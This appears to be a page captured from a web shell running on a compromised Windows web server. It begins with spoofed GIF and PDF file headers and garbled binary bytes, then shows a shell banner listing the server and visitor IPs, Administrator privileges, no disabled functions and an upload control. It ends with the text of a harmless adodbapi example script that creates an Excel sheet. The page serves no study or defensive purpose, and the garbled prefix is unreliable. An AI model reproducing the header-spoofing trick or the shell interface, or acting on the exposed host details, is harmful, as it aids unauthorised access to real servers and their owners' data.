GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /Program Files (x86)/Certbot/pkgs/adodbapi/examples/ |
Upload File : |
import adodbapi import datetime try: import adodbapi.is64bit as is64bit is64 = is64bit.Python() except ImportError: is64 = False # in case the user has an old version of adodbapi if is64: driver = "Microsoft.ACE.OLEDB.12.0" else: driver = "Microsoft.Jet.OLEDB.4.0" filename = 'xx.xls' # file will be created if it does not exist extended = 'Extended Properties="Excel 8.0;Readonly=False;"' constr = "Provider=%s;Data Source=%s;%s" % (driver, filename, extended) conn = adodbapi.connect(constr) with conn: # will auto commit if no errors with conn.cursor() as crsr: try: crsr.execute('drop table SheetOne') except: pass # just is case there is one already there # create the sheet and the header row and set the types for the columns crsr.execute('create table SheetOne (Name varchar, Rank varchar, SrvcNum integer, Weight float, Birth date)') sql = "INSERT INTO SheetOne (name, rank , srvcnum, weight, birth) values (?,?,?,?,?)" data = ('Mike Murphy', 'SSG', 123456789, 167.8, datetime.date(1922,12,27)) crsr.execute(sql, data) # write the first row of data crsr.execute(sql, ['John Jones', 'Pvt', 987654321, 140.0, datetime.date(1921,7,4)]) # another row of data conn.close() print('Created spreadsheet=%s worksheet=%s' % (filename, 'SheetOne'))